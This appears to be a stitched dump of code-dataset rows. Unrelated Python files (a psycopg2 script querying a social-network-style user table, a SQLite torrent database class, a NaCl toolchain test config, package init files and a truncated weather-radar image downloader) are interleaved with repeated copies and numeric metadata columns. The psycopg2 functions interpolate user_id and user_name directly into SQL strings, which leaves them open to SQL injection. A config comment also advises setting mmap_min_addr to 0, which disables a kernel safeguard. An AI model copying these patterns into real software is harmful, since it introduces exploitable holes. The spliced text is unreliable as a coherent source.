f"FROM facebook_user "
f"INNER JOIN is_fan_of "
f"ON facebook_user.id = is_fan_of.fanid "
f"WHERE is_fan_of.idolid = {user_id}")
result = cur.fetchall()
cur.close()
except (Exception, psycopg2.DatabaseError) as error:
print(error)
finally:
if conn is not None:
conn.close()
return result
def get_who_user_dates_by_user_id(user_id):
conn = None
result = None
try:
conn = psycopg2.connect(host="localhost", database=DATABASE, user=USER, password=PASSWORD)
cur = conn.cursor()
cur.execute(f"SELECT DISTINCT facebook_user.screenname "
f"FROM facebook_user "
f"INNER JOIN dates ON facebook_user.id = dates.userid_2 "
f"WHERE dates.userid_1 = {user_id}")
result = cur.fetchall()
cur.close()
except (Exception, psycopg2.DatabaseError) as error:
print(error)
finally:
if conn is not None:
conn.close()
return result
def get_who_user_marries_by_user_id(user_id):
conn = None
result = None
try:
conn = psycopg2.connect(host="localhost", database=DATABASE, user=USER, password=PASSWORD)
cur = conn.cursor()
cur.execute(f"SELECT DISTINCT facebook_user.screenname "
f"FROM facebook_user "
f"INNER JOIN is_married_to imt on facebook_user.id = imt.userid_2 "
f"WHERE imt.userid_1 = {user_id}")
result = cur.fetchall()
cur.close()
except (Exception, psycopg2.DatabaseError) as error:
print(error)
finally:
if conn is not None:
conn.close()
return result
if __name__ == "__main__":
print(get_user_data_based_on_user_name("easySmuu")) | import psycopg2
DATABASE = "postgres"
USER = "postgres"
PASSWORD = "<PASSWORD>"
def get_user_data_based_on_user_id(user_id):
conn = None
result = None
try:
conn = psycopg2.connect(host="localhost", database=DATABASE, user=USER, password=PASSWORD)
cur = conn.cursor()
cur.execute(f"SELECT id, screenname, name, age, income "
f"FROM facebook_user "
f"where id = {user_id}")
result = cur.fetchone()
cur.close()
except (Exception, psycopg2.DatabaseError) as error:
print(error)
finally:
if conn is not None:
conn.close()
return result
def get_user_data_based_on_user_name(user_name):
conn = None
result = None
try:
conn = psycopg2.connect(host="localhost", database=DATABASE, user=USER, password=PASSWORD)
cur = conn.cursor()
cur.execute(f"SELECT id, screenname, name, age, income "
f"FROM facebook_user "
f"WHERE facebook_user.screenname = \'{user_name}\' ")
result = cur.fetchone()
cur.close()
except (Exception, psycopg2.DatabaseError) as error:
print(error)
finally:
if conn is not None:
conn.close()
return result
def get_number_of_records():
conn = None
result = None
try:
conn = psycopg2.connect(host="localhost", database=DATABASE, user=USER, password=PASSWORD)
cur = conn.cursor()
cur.execute(f"SELECT COUNT(id) FROM facebook_user")
result = cur.fetchone()
cur.close()
except (Exception, psycopg2.DatabaseError) as error:
print(error)
finally:
if conn is not None:
conn.close()
return result
def get_user_fans_by_user_id(user_id):
conn = None
result = None
try:
conn = psycopg2.connect(host="localhost", database=DATABASE, user=USER, password=PASSWORD)
cur = conn.cursor()
cur.execute(f"SELECT DISTINCT facebook_user.screenname "
f"FROM facebook_user "
f"INNER JOIN is_fan_of "
f"ON facebook_user.id = is_fan_of.fanid "
f"WHERE is_fan_of.idolid = {user_id}")
result = cur.fetchall()
cur.close()
except (Exception, psycopg2.DatabaseError) as error:
print(error)
finally:
if conn is not None:
conn.close()
return result
def get_who_user_dates_by_user_id(user_id):
conn = None
result = None
try:
conn = psycopg2.connect(host="localhost", database=DATABASE, user=USER, password=PASSWORD)
cur = conn.cursor()
cur.execute(f"SELECT DISTINCT facebook_user.screenname "
f"FROM facebook_user "
f"INNER JOIN dates ON facebook_user.id = dates.userid_2 "
f"WHERE dates.userid_1 = {user_id}")
result = cur.fetchall()
cur.close()
except (Exception, psycopg2.DatabaseError) as error:
print(error)
finally:
if conn is not None:
conn.close()
return result
def get_who_user_marries_by_user_id(user_id):
conn = None
result = None
try:
conn = psycopg2.connect(host="localhost", database=DATABASE, user=USER, password=PASSWORD)
cur = conn.cursor()
cur.execute(f"SELECT DISTINCT facebook_user.screenname "
f"FROM facebook_user "
f"INNER JOIN is_married_to imt on facebook_user.id = imt.userid_2 "
f"WHERE imt.userid_1 = {user_id}")
result = cur.fetchall()
cur.close()
except (Exception, psycopg2.DatabaseError) as error:
print(error)
finally:
if conn is not None:
conn.close()
return result
if __name__ == "__main__":
print(get_user_data_based_on_user_name("easySmuu")) | none | 1 | 3.278111 | 3 | |
database/database.py | AivGitHub/clutcher | 0 | 6623630 | import sqlite3
import pathlib
from clutcher import settings
from database import exception
class Row(sqlite3.Row):
def __init__(self, *args, **kwargs):
super(Row, self).__init__()
def get(self, attr, default_value: str = None) -> str:
try:
return self[attr]
except IndexError:
return default_value
class Database:
FETCH_MANY_AMOUNT = 100
DEFAULT_ROW_FACTORY = 'Row'
_SQL_TORRENT_TABLE = """CREATE TABLE %s torrent (
id integer PRIMARY KEY,
name text NOT NULL,
torrent_path text,
path_to_save text,
created_by text,
comment text,
creation_date text
)"""
def __init__(self, db_name: str = settings.NAME) -> None:
_cwd = pathlib.Path.cwd()
self.database_path = (_cwd / 'database/data' / f'{db_name}.db').resolve()
self.connection = self.database_path
self.cursor = self.connection.cursor()
@property
def connection(self) -> sqlite3.Connection:
return self.__connection
@connection.setter
def connection(self, db_path: str, row_factory: str = DEFAULT_ROW_FACTORY) -> None:
_connection = sqlite3.connect(db_path)
if row_factory == self.DEFAULT_ROW_FACTORY:
_connection.row_factory = Row
else:
raise exception.WrongRowFactoryException(f'Wrong row factory: {row_factory}')
self.__connection = _connection
def execute(self, query: str, values: tuple = ()) -> None:
if values:
self.cursor.execute(query, values)
else:
self.cursor.execute(query)
self.connection.commit()
def create_table(self, query: str = _SQL_TORRENT_TABLE, ignore_existence: bool = True) -> None:
"""
:param query: Creation query. See _SQL_TORRENT_TABLE example
:param ignore_existence: if False, then sqlite3.OperationalError: table torrent already exists is raised
:raise: database.exception.WrongQueryException if query does not contain %s for "IF NOT EXISTS" block
:raise: sqlite3.OperationalError if ignore_existence = False
:return: None
TODO: Change to universal way
"""
_if_not_exists = ''
if query and '%s' not in query:
raise exception.WrongQueryException('Query must contain \'%s\'')
if ignore_existence:
_if_not_exists = 'IF NOT EXISTS'
self.execute(query % _if_not_exists)
def secure_fetchall(self, query: str) -> list:
_executed = self.cursor.execute(query)
_next = _executed.fetchmany(self.FETCH_MANY_AMOUNT)
while _next:
mapped_rows = self.rows_mapper(_next)
_next = _executed.fetchmany(self.FETCH_MANY_AMOUNT)
yield mapped_rows
def delete_all_data(self):
self.execute('DELETE FROM torrent')
@classmethod
def rows_mapper(cls, rows: list) -> list:
mapped_rows = []
for row in rows:
_keys = row.keys()
_values = [row.get(key) for key in _keys]
_zipped = zip(_keys, _values)
mapped_rows.append(dict(_zipped))
return mapped_rows
def close(self) -> None:
self.connection.close()
| import sqlite3
import pathlib
from clutcher import settings
from database import exception
class Row(sqlite3.Row):
def __init__(self, *args, **kwargs):
super(Row, self).__init__()
def get(self, attr, default_value: str = None) -> str:
try:
return self[attr]
except IndexError:
return default_value
class Database:
FETCH_MANY_AMOUNT = 100
DEFAULT_ROW_FACTORY = 'Row'
_SQL_TORRENT_TABLE = """CREATE TABLE %s torrent (
id integer PRIMARY KEY,
name text NOT NULL,
torrent_path text,
path_to_save text,
created_by text,
comment text,
creation_date text
)"""
def __init__(self, db_name: str = settings.NAME) -> None:
_cwd = pathlib.Path.cwd()
self.database_path = (_cwd / 'database/data' / f'{db_name}.db').resolve()
self.connection = self.database_path
self.cursor = self.connection.cursor()
@property
def connection(self) -> sqlite3.Connection:
return self.__connection
@connection.setter
def connection(self, db_path: str, row_factory: str = DEFAULT_ROW_FACTORY) -> None:
_connection = sqlite3.connect(db_path)
if row_factory == self.DEFAULT_ROW_FACTORY:
_connection.row_factory = Row
else:
raise exception.WrongRowFactoryException(f'Wrong row factory: {row_factory}')
self.__connection = _connection
def execute(self, query: str, values: tuple = ()) -> None:
if values:
self.cursor.execute(query, values)
else:
self.cursor.execute(query)
self.connection.commit()
def create_table(self, query: str = _SQL_TORRENT_TABLE, ignore_existence: bool = True) -> None:
"""
:param query: Creation query. See _SQL_TORRENT_TABLE example
:param ignore_existence: if False, then sqlite3.OperationalError: table torrent already exists is raised
:raise: database.exception.WrongQueryException if query does not contain %s for "IF NOT EXISTS" block
:raise: sqlite3.OperationalError if ignore_existence = False
:return: None
TODO: Change to universal way
"""
_if_not_exists = ''
if query and '%s' not in query:
raise exception.WrongQueryException('Query must contain \'%s\'')
if ignore_existence:
_if_not_exists = 'IF NOT EXISTS'
self.execute(query % _if_not_exists)
def secure_fetchall(self, query: str) -> list:
_executed = self.cursor.execute(query)
_next = _executed.fetchmany(self.FETCH_MANY_AMOUNT)
while _next:
mapped_rows = self.rows_mapper(_next)
_next = _executed.fetchmany(self.FETCH_MANY_AMOUNT)
yield mapped_rows
def delete_all_data(self):
self.execute('DELETE FROM torrent')
@classmethod
def rows_mapper(cls, rows: list) -> list:
mapped_rows = []
for row in rows:
_keys = row.keys()
_values = [row.get(key) for key in _keys]
_zipped = zip(_keys, _values)
mapped_rows.append(dict(_zipped))
return mapped_rows
def close(self) -> None:
self.connection.close()
| en | 0.368847 | CREATE TABLE %s torrent ( id integer PRIMARY KEY, name text NOT NULL, torrent_path text, path_to_save text, created_by text, comment text, creation_date text ) :param query: Creation query. See _SQL_TORRENT_TABLE example :param ignore_existence: if False, then sqlite3.OperationalError: table torrent already exists is raised :raise: database.exception.WrongQueryException if query does not contain %s for "IF NOT EXISTS" block :raise: sqlite3.OperationalError if ignore_existence = False :return: None TODO: Change to universal way | 2.743338 | 3 |
tools/toolchain_tester/toolchain_config.py | eseidel/native_client_patches | 4 | 6623631 | <reponame>eseidel/native_client_patches
# Copyright 2008 The Native Client Authors. All rights reserved.
# Use of this source code is governed by a BSD-style license that can
# be found in the LICENSE file.
#
# Config file for various nacl compilation scenarios
#
import os
import sys
TOOLCHAIN_CONFIGS = {}
class ToolchainConfig(object):
def __init__(self, desc, commands, tools_needed, **extra):
self._desc = desc,
self._commands = commands
self._tools_needed = tools_needed
self._extra = extra
def Append(self, tag, value):
assert tag in self._extra
self._extra[tag] = self._extra[tag] + ' ' + value + ' '
def SanityCheck(self):
for t in self._tools_needed:
if not os.access(t, os.R_OK | os.X_OK):
print "ERROR: missing tool ", t
sys.exit(-1)
def GetDescription(self):
return self._desc
def GetCommands(self, extra):
for tag, val in self._commands:
d = {}
d.update(self._extra)
d.update(extra)
yield tag, val % d
def GetPhases(self):
return [a for (a, _) in self._commands]
######################################################################
#
######################################################################
LOCAL_GCC = '/usr/bin/gcc'
EMU_SCRIPT = 'toolchain/linux_arm-trusted/qemu_tool.sh'
SEL_LDR_ARM = 'scons-out/opt-linux-arm/staging/sel_ldr'
SEL_LDR_X32 = 'scons-out/opt-linux-x86-32/staging/sel_ldr'
SEL_LDR_X64 = 'scons-out/opt-linux-x86-64/staging/sel_ldr'
NACL_GCC_X32 = 'toolchain/linux_x86/bin/nacl-gcc'
NACL_GCC_X64 = 'toolchain/linux_x86/bin/nacl64-gcc'
GLOBAL_CFLAGS = '-DSTACK_SIZE=0x40000 -DNO_TRAMPOLINES -DNO_LABEL_VALUES'
######################################################################
# LOCAL GCC
######################################################################
COMMANDS_local_gcc = [
('compile',
'%(CC)s %(src)s %(CFLAGS)s -o %(tmp)s.exe',
),
]
TOOLCHAIN_CONFIGS['local_gcc_x8632_O0'] = ToolchainConfig(
desc='local gcc [x86-32]',
commands=COMMANDS_local_gcc,
tools_needed=[LOCAL_GCC],
CC = LOCAL_GCC,
CFLAGS = '-O0 -m32 -static ' + GLOBAL_CFLAGS)
TOOLCHAIN_CONFIGS['local_gcc_x8664_O0'] = ToolchainConfig(
desc='local gcc [x86-64]',
commands=COMMANDS_local_gcc,
tools_needed=[LOCAL_GCC],
CC = LOCAL_GCC,
CFLAGS = '-O0 -m64 -static ' + GLOBAL_CFLAGS)
######################################################################
# CS ARM
######################################################################
# NOTE: you may need this if you see mmap: Permission denied
# "echo 0 > /proc/sys/vm/mmap_min_addr"
GCC_CS_ARM = ('toolchain/linux_arm-trusted/arm-2009q3/' +
'bin/arm-none-linux-gnueabi-gcc')
COMMANDS_gcc_cs_arm = [
('compile',
'%(CC)s %(src)s %(CFLAGS)s -o %(tmp)s.exe',
),
('emu',
'%(EMU_SCRIPT)s run %(tmp)s.exe',
)
]
TOOLCHAIN_CONFIGS['gcc_cs_arm_O0'] = ToolchainConfig(
desc='codesourcery cross gcc [arm]',
commands=COMMANDS_gcc_cs_arm,
tools_needed=[GCC_CS_ARM, EMU_SCRIPT ],
CC = GCC_CS_ARM,
EMU_SCRIPT = EMU_SCRIPT,
CFLAGS = '-O0 -static ' + GLOBAL_CFLAGS)
TOOLCHAIN_CONFIGS['gcc_cs_arm_O9'] = ToolchainConfig(
desc='codesourcery cross gcc [arm]',
commands=COMMANDS_gcc_cs_arm,
tools_needed=[GCC_CS_ARM, EMU_SCRIPT ],
CC = GCC_CS_ARM,
EMU_SCRIPT = EMU_SCRIPT,
CFLAGS = '-O9 -static ' + GLOBAL_CFLAGS)
######################################################################
# # NACL + SEL_LDR [X86]
######################################################################
COMMANDS_nacl_gcc = [
('compile',
'%(CC)s %(src)s %(CFLAGS)s -o %(tmp)s.exe',
),
('sel_ldr',
'%(SEL_LDR)s -f %(tmp)s.exe',
)
]
TOOLCHAIN_CONFIGS['nacl_gcc_x8632_O0'] = ToolchainConfig(
desc='nacl gcc [x86-32]',
commands=COMMANDS_nacl_gcc,
tools_needed=[NACL_GCC_X32, SEL_LDR_X32],
CC = NACL_GCC_X32,
SEL_LDR = SEL_LDR_X32,
CFLAGS = '-O0 -static ' + GLOBAL_CFLAGS)
TOOLCHAIN_CONFIGS['nacl_gcc_x8632_O9'] = ToolchainConfig(
desc='nacl gcc with optimizations [x86-32]',
commands=COMMANDS_nacl_gcc,
tools_needed=[NACL_GCC_X32, SEL_LDR_X32],
CC = NACL_GCC_X32,
SEL_LDR = SEL_LDR_X32,
CFLAGS = '-O9 -static')
TOOLCHAIN_CONFIGS['nacl_gcc_x8664_O0'] = ToolchainConfig(
desc='nacl gcc [x86-64]',
commands=COMMANDS_nacl_gcc,
tools_needed=[NACL_GCC_X64, SEL_LDR_X64],
CC = NACL_GCC_X64,
SEL_LDR = SEL_LDR_X64,
CFLAGS = '-O0 -static ' + GLOBAL_CFLAGS)
TOOLCHAIN_CONFIGS['nacl_gcc_x8664_O9'] = ToolchainConfig(
desc='nacl gcc with optimizations [x86-64]',
commands=COMMANDS_nacl_gcc,
tools_needed=[NACL_GCC_X64, SEL_LDR_X64],
CC = NACL_GCC_X64,
SEL_LDR = SEL_LDR_X64,
CFLAGS = '-O9 -static ' + GLOBAL_CFLAGS)
######################################################################
# PNACL + SEL_LDR [ARM]
######################################################################
DRIVER_PATH = 'toolchain/linux_arm-untrusted/bin'
PNACL_LLVM_GCC = DRIVER_PATH + '/pnacl-gcc'
PNACL_BCLD = DRIVER_PATH + '/pnacl-bcld'
PNACL_LIB_DIR = 'toolchain/linux_arm-untrusted/libs-bitcode/'
COMMANDS_llvm_pnacl_arm = [
('compile-bc',
'%(CC)s %(src)s %(CFLAGS)s -c -o %(tmp)s.bc',
),
('translate-arm',
'%(LD)s %(tmp)s.bc -o %(tmp)s.nexe -L%(LIB_DIR)s -lc -lnacl -lnosys',
),
('qemu-sel_ldr',
'%(EMU)s run %(SEL_LDR)s -Q -d %(tmp)s.nexe',
)
]
TOOLCHAIN_CONFIGS['llvm_pnacl_arm_O0'] = ToolchainConfig(
desc='pnacl llvm [arm]',
commands=COMMANDS_llvm_pnacl_arm,
tools_needed=[PNACL_LLVM_GCC, PNACL_BCLD, EMU_SCRIPT, SEL_LDR_ARM],
CC = PNACL_LLVM_GCC + ' -emit-llvm',
LD = PNACL_BCLD + ' -arch arm',
EMU = EMU_SCRIPT,
SEL_LDR = SEL_LDR_ARM,
LIB_DIR = PNACL_LIB_DIR,
CFLAGS = '-O0 -static ' + GLOBAL_CFLAGS)
TOOLCHAIN_CONFIGS['llvm_pnacl_arm_O9'] = ToolchainConfig(
desc='pnacl llvm with optimizations [arm]',
commands=COMMANDS_llvm_pnacl_arm,
tools_needed=[PNACL_LLVM_GCC, PNACL_BCLD, EMU_SCRIPT, SEL_LDR_ARM],
CC = PNACL_LLVM_GCC + ' -emit-llvm',
LD = PNACL_BCLD + ' -arch arm',
EMU = EMU_SCRIPT,
SEL_LDR = SEL_LDR_ARM,
LIB_DIR = PNACL_LIB_DIR,
CFLAGS = '-09 -static ' + GLOBAL_CFLAGS)
######################################################################
# PNACL + SEL_LDR [X8632]
######################################################################
# NOTE: this is used for both x86 flavors
COMMANDS_llvm_pnacl_x86_O0 = [
('compile-bc',
'%(CC)s %(src)s %(CFLAGS)s -c -o %(tmp)s.bc',
),
('translate-x8632',
'%(LD)s %(tmp)s.bc -o %(tmp)s.nexe -L%(LIB_DIR)s',
),
('sel_ldr',
'%(SEL_LDR)s %(tmp)s.nexe',
)
]
TOOLCHAIN_CONFIGS['llvm_pnacl_x8632_O0'] = ToolchainConfig(
desc='pnacl llvm [x8632]',
commands=COMMANDS_llvm_pnacl_x86_O0,
tools_needed=[PNACL_LLVM_GCC, PNACL_BCLD, SEL_LDR_X32],
CC = PNACL_LLVM_GCC + ' -emit-llvm',
LD = PNACL_BCLD + ' -arch x86-32',
SEL_LDR = SEL_LDR_X32,
LIB_DIR = PNACL_LIB_DIR,
CFLAGS = '-O0 -static ' + GLOBAL_CFLAGS)
######################################################################
# PNACL + SEL_LDR [X8664]
######################################################################
TOOLCHAIN_CONFIGS['llvm_pnacl_x8664_O0'] = ToolchainConfig(
desc='pnacl llvm [x8664]',
commands=COMMANDS_llvm_pnacl_x86_O0,
tools_needed=[PNACL_LLVM_GCC, PNACL_BCLD, SEL_LDR_X64],
CC = PNACL_LLVM_GCC + ' -emit-llvm',
LD = PNACL_BCLD + ' -arch x86-64',
SEL_LDR = SEL_LDR_X64,
LIB_DIR = PNACL_LIB_DIR,
CFLAGS = '-O0 -static ' + GLOBAL_CFLAGS)
| # Copyright 2008 The Native Client Authors. All rights reserved.
# Use of this source code is governed by a BSD-style license that can
# be found in the LICENSE file.
#
# Config file for various nacl compilation scenarios
#
import os
import sys
TOOLCHAIN_CONFIGS = {}
class ToolchainConfig(object):
def __init__(self, desc, commands, tools_needed, **extra):
self._desc = desc,
self._commands = commands
self._tools_needed = tools_needed
self._extra = extra
def Append(self, tag, value):
assert tag in self._extra
self._extra[tag] = self._extra[tag] + ' ' + value + ' '
def SanityCheck(self):
for t in self._tools_needed:
if not os.access(t, os.R_OK | os.X_OK):
print "ERROR: missing tool ", t
sys.exit(-1)
def GetDescription(self):
return self._desc
def GetCommands(self, extra):
for tag, val in self._commands:
d = {}
d.update(self._extra)
d.update(extra)
yield tag, val % d
def GetPhases(self):
return [a for (a, _) in self._commands]
######################################################################
#
######################################################################
LOCAL_GCC = '/usr/bin/gcc'
EMU_SCRIPT = 'toolchain/linux_arm-trusted/qemu_tool.sh'
SEL_LDR_ARM = 'scons-out/opt-linux-arm/staging/sel_ldr'
SEL_LDR_X32 = 'scons-out/opt-linux-x86-32/staging/sel_ldr'
SEL_LDR_X64 = 'scons-out/opt-linux-x86-64/staging/sel_ldr'
NACL_GCC_X32 = 'toolchain/linux_x86/bin/nacl-gcc'
NACL_GCC_X64 = 'toolchain/linux_x86/bin/nacl64-gcc'
GLOBAL_CFLAGS = '-DSTACK_SIZE=0x40000 -DNO_TRAMPOLINES -DNO_LABEL_VALUES'
######################################################################
# LOCAL GCC
######################################################################
COMMANDS_local_gcc = [
('compile',
'%(CC)s %(src)s %(CFLAGS)s -o %(tmp)s.exe',
),
]
TOOLCHAIN_CONFIGS['local_gcc_x8632_O0'] = ToolchainConfig(
desc='local gcc [x86-32]',
commands=COMMANDS_local_gcc,
tools_needed=[LOCAL_GCC],
CC = LOCAL_GCC,
CFLAGS = '-O0 -m32 -static ' + GLOBAL_CFLAGS)
TOOLCHAIN_CONFIGS['local_gcc_x8664_O0'] = ToolchainConfig(
desc='local gcc [x86-64]',
commands=COMMANDS_local_gcc,
tools_needed=[LOCAL_GCC],
CC = LOCAL_GCC,
CFLAGS = '-O0 -m64 -static ' + GLOBAL_CFLAGS)
######################################################################
# CS ARM
######################################################################
# NOTE: you may need this if you see mmap: Permission denied
# "echo 0 > /proc/sys/vm/mmap_min_addr"
GCC_CS_ARM = ('toolchain/linux_arm-trusted/arm-2009q3/' +
'bin/arm-none-linux-gnueabi-gcc')
COMMANDS_gcc_cs_arm = [
('compile',
'%(CC)s %(src)s %(CFLAGS)s -o %(tmp)s.exe',
),
('emu',
'%(EMU_SCRIPT)s run %(tmp)s.exe',
)
]
TOOLCHAIN_CONFIGS['gcc_cs_arm_O0'] = ToolchainConfig(
desc='codesourcery cross gcc [arm]',
commands=COMMANDS_gcc_cs_arm,
tools_needed=[GCC_CS_ARM, EMU_SCRIPT ],
CC = GCC_CS_ARM,
EMU_SCRIPT = EMU_SCRIPT,
CFLAGS = '-O0 -static ' + GLOBAL_CFLAGS)
TOOLCHAIN_CONFIGS['gcc_cs_arm_O9'] = ToolchainConfig(
desc='codesourcery cross gcc [arm]',
commands=COMMANDS_gcc_cs_arm,
tools_needed=[GCC_CS_ARM, EMU_SCRIPT ],
CC = GCC_CS_ARM,
EMU_SCRIPT = EMU_SCRIPT,
CFLAGS = '-O9 -static ' + GLOBAL_CFLAGS)
######################################################################
# # NACL + SEL_LDR [X86]
######################################################################
COMMANDS_nacl_gcc = [
('compile',
'%(CC)s %(src)s %(CFLAGS)s -o %(tmp)s.exe',
),
('sel_ldr',
'%(SEL_LDR)s -f %(tmp)s.exe',
)
]
TOOLCHAIN_CONFIGS['nacl_gcc_x8632_O0'] = ToolchainConfig(
desc='nacl gcc [x86-32]',
commands=COMMANDS_nacl_gcc,
tools_needed=[NACL_GCC_X32, SEL_LDR_X32],
CC = NACL_GCC_X32,
SEL_LDR = SEL_LDR_X32,
CFLAGS = '-O0 -static ' + GLOBAL_CFLAGS)
TOOLCHAIN_CONFIGS['nacl_gcc_x8632_O9'] = ToolchainConfig(
desc='nacl gcc with optimizations [x86-32]',
commands=COMMANDS_nacl_gcc,
tools_needed=[NACL_GCC_X32, SEL_LDR_X32],
CC = NACL_GCC_X32,
SEL_LDR = SEL_LDR_X32,
CFLAGS = '-O9 -static')
TOOLCHAIN_CONFIGS['nacl_gcc_x8664_O0'] = ToolchainConfig(
desc='nacl gcc [x86-64]',
commands=COMMANDS_nacl_gcc,
tools_needed=[NACL_GCC_X64, SEL_LDR_X64],
CC = NACL_GCC_X64,
SEL_LDR = SEL_LDR_X64,
CFLAGS = '-O0 -static ' + GLOBAL_CFLAGS)
TOOLCHAIN_CONFIGS['nacl_gcc_x8664_O9'] = ToolchainConfig(
desc='nacl gcc with optimizations [x86-64]',
commands=COMMANDS_nacl_gcc,
tools_needed=[NACL_GCC_X64, SEL_LDR_X64],
CC = NACL_GCC_X64,
SEL_LDR = SEL_LDR_X64,
CFLAGS = '-O9 -static ' + GLOBAL_CFLAGS)
######################################################################
# PNACL + SEL_LDR [ARM]
######################################################################
DRIVER_PATH = 'toolchain/linux_arm-untrusted/bin'
PNACL_LLVM_GCC = DRIVER_PATH + '/pnacl-gcc'
PNACL_BCLD = DRIVER_PATH + '/pnacl-bcld'
PNACL_LIB_DIR = 'toolchain/linux_arm-untrusted/libs-bitcode/'
COMMANDS_llvm_pnacl_arm = [
('compile-bc',
'%(CC)s %(src)s %(CFLAGS)s -c -o %(tmp)s.bc',
),
('translate-arm',
'%(LD)s %(tmp)s.bc -o %(tmp)s.nexe -L%(LIB_DIR)s -lc -lnacl -lnosys',
),
('qemu-sel_ldr',
'%(EMU)s run %(SEL_LDR)s -Q -d %(tmp)s.nexe',
)
]
TOOLCHAIN_CONFIGS['llvm_pnacl_arm_O0'] = ToolchainConfig(
desc='pnacl llvm [arm]',
commands=COMMANDS_llvm_pnacl_arm,
tools_needed=[PNACL_LLVM_GCC, PNACL_BCLD, EMU_SCRIPT, SEL_LDR_ARM],
CC = PNACL_LLVM_GCC + ' -emit-llvm',
LD = PNACL_BCLD + ' -arch arm',
EMU = EMU_SCRIPT,
SEL_LDR = SEL_LDR_ARM,
LIB_DIR = PNACL_LIB_DIR,
CFLAGS = '-O0 -static ' + GLOBAL_CFLAGS)
TOOLCHAIN_CONFIGS['llvm_pnacl_arm_O9'] = ToolchainConfig(
desc='pnacl llvm with optimizations [arm]',
commands=COMMANDS_llvm_pnacl_arm,
tools_needed=[PNACL_LLVM_GCC, PNACL_BCLD, EMU_SCRIPT, SEL_LDR_ARM],
CC = PNACL_LLVM_GCC + ' -emit-llvm',
LD = PNACL_BCLD + ' -arch arm',
EMU = EMU_SCRIPT,
SEL_LDR = SEL_LDR_ARM,
LIB_DIR = PNACL_LIB_DIR,
CFLAGS = '-09 -static ' + GLOBAL_CFLAGS)
######################################################################
# PNACL + SEL_LDR [X8632]
######################################################################
# NOTE: this is used for both x86 flavors
COMMANDS_llvm_pnacl_x86_O0 = [
('compile-bc',
'%(CC)s %(src)s %(CFLAGS)s -c -o %(tmp)s.bc',
),
('translate-x8632',
'%(LD)s %(tmp)s.bc -o %(tmp)s.nexe -L%(LIB_DIR)s',
),
('sel_ldr',
'%(SEL_LDR)s %(tmp)s.nexe',
)
]
TOOLCHAIN_CONFIGS['llvm_pnacl_x8632_O0'] = ToolchainConfig(
desc='pnacl llvm [x8632]',
commands=COMMANDS_llvm_pnacl_x86_O0,
tools_needed=[PNACL_LLVM_GCC, PNACL_BCLD, SEL_LDR_X32],
CC = PNACL_LLVM_GCC + ' -emit-llvm',
LD = PNACL_BCLD + ' -arch x86-32',
SEL_LDR = SEL_LDR_X32,
LIB_DIR = PNACL_LIB_DIR,
CFLAGS = '-O0 -static ' + GLOBAL_CFLAGS)
######################################################################
# PNACL + SEL_LDR [X8664]
######################################################################
TOOLCHAIN_CONFIGS['llvm_pnacl_x8664_O0'] = ToolchainConfig(
desc='pnacl llvm [x8664]',
commands=COMMANDS_llvm_pnacl_x86_O0,
tools_needed=[PNACL_LLVM_GCC, PNACL_BCLD, SEL_LDR_X64],
CC = PNACL_LLVM_GCC + ' -emit-llvm',
LD = PNACL_BCLD + ' -arch x86-64',
SEL_LDR = SEL_LDR_X64,
LIB_DIR = PNACL_LIB_DIR,
CFLAGS = '-O0 -static ' + GLOBAL_CFLAGS) | de | 0.721475 | # Copyright 2008 The Native Client Authors. All rights reserved. # Use of this source code is governed by a BSD-style license that can # be found in the LICENSE file. # # Config file for various nacl compilation scenarios # ###################################################################### # ###################################################################### ###################################################################### # LOCAL GCC ###################################################################### ###################################################################### # CS ARM ###################################################################### # NOTE: you may need this if you see mmap: Permission denied # "echo 0 > /proc/sys/vm/mmap_min_addr" ###################################################################### # # NACL + SEL_LDR [X86] ###################################################################### ###################################################################### # PNACL + SEL_LDR [ARM] ###################################################################### ###################################################################### # PNACL + SEL_LDR [X8632] ###################################################################### # NOTE: this is used for both x86 flavors ###################################################################### # PNACL + SEL_LDR [X8664] ###################################################################### | 2.008743 | 2 |
fsl/models/torch/__init__.py | yanncalec/few-shot-learning-benchmark | 0 | 6623632 | """PyTorch implementation.
"""
from .prototypical_networks import ProtoNet
| """PyTorch implementation.
"""
from .prototypical_networks import ProtoNet
| en | 0.5801 | PyTorch implementation. | 1.110532 | 1 |
app/enhanced_mapper/__init__.py | mappercore/mapper-core | 1 | 6623633 | <reponame>mappercore/mapper-core
from .cover import *
from .node import *
from .oracle import *
from .graph import *
from .mapper import *
# from .converter import *
from .visualization import * | from .cover import *
from .node import *
from .oracle import *
from .graph import *
from .mapper import *
# from .converter import *
from .visualization import * | en | 0.394251 | # from .converter import * | 0.937203 | 1 |
testbed_image/testbed_image.py | terop/env-logger | 0 | 6623634 | #!/usr/bin/env python3
"""A script for downloading the current FMI Testbed image. Prints an empty string on failure
and a filename where the latest Testbed image is stored on success."""
# See PIP requirements from testbed_image_requirements.txt
import sys
from datetime import datetime
import requests
from bs4 import BeautifulSoup
import pytz
def download_image():
"""Downloads the latest FMI Testbed image. Returns the image data on success
and None otherwise."""
timestamp = datetime.now().isoformat()
try:
resp = requests.get('http://testbed.fmi.fi/?imgtype=radar&t=5&n=1')
# pylint: disable=invalid-name
except requests.ConnectionError as ce:
print('{}: Failed to access Testbed page: {}'.format(timestamp, ce),
file=sys.stderr)
return None
if not resp.ok:
return None
# pylint: disable=invalid-name
bs = BeautifulSoup(resp.text, 'lxml')
images = bs.find_all(id='anim_image_anim_anim')
if len(images) != 1:
return None
img_url = images[0]['src']
if img_url == '':
return None
try:
resp = requests.get(img_url)
# pylint: disable=invalid-name
except requests.ConnectionError as ce:
print('{}: Failed to download Testbed image: {}'.format(timestamp, ce),
file=sys.stderr)
return None
return resp.content
def main():
"""Module main function."""
image = download_image()
if not image:
print('')
return 1
helsinki = pytz.timezone('Europe/Helsinki')
filename = 'testbed-{}.png'.format(
helsinki.localize(datetime.now()).strftime('%Y-%m-%dT%H:%M%z'))
with open(filename, 'wb') as tb_image:
tb_image.write(image)
print(filename)
return 0
main()
| #!/usr/bin/env python3
"""A script for downloading the current FMI Testbed image. Prints an empty string on failure
and a filename where the latest Testbed image is stored on success."""
# See PIP requirements from testbed_image_requirements.txt
import sys
from datetime import datetime
import requests
from bs4 import BeautifulSoup
import pytz
def download_image():
"""Downloads the latest FMI Testbed image. Returns the image data on success
and None otherwise."""
timestamp = datetime.now().isoformat()
try:
resp = requests.get('http://testbed.fmi.fi/?imgtype=radar&t=5&n=1')
# pylint: disable=invalid-name
except requests.ConnectionError as ce:
print('{}: Failed to access Testbed page: {}'.format(timestamp, ce),
file=sys.stderr)
return None
if not resp.ok:
return None
# pylint: disable=invalid-name
bs = BeautifulSoup(resp.text, 'lxml')
images = bs.find_all(id='anim_image_anim_anim')
if len(images) != 1:
return None
img_url = images[0]['src']
if img_url == '':
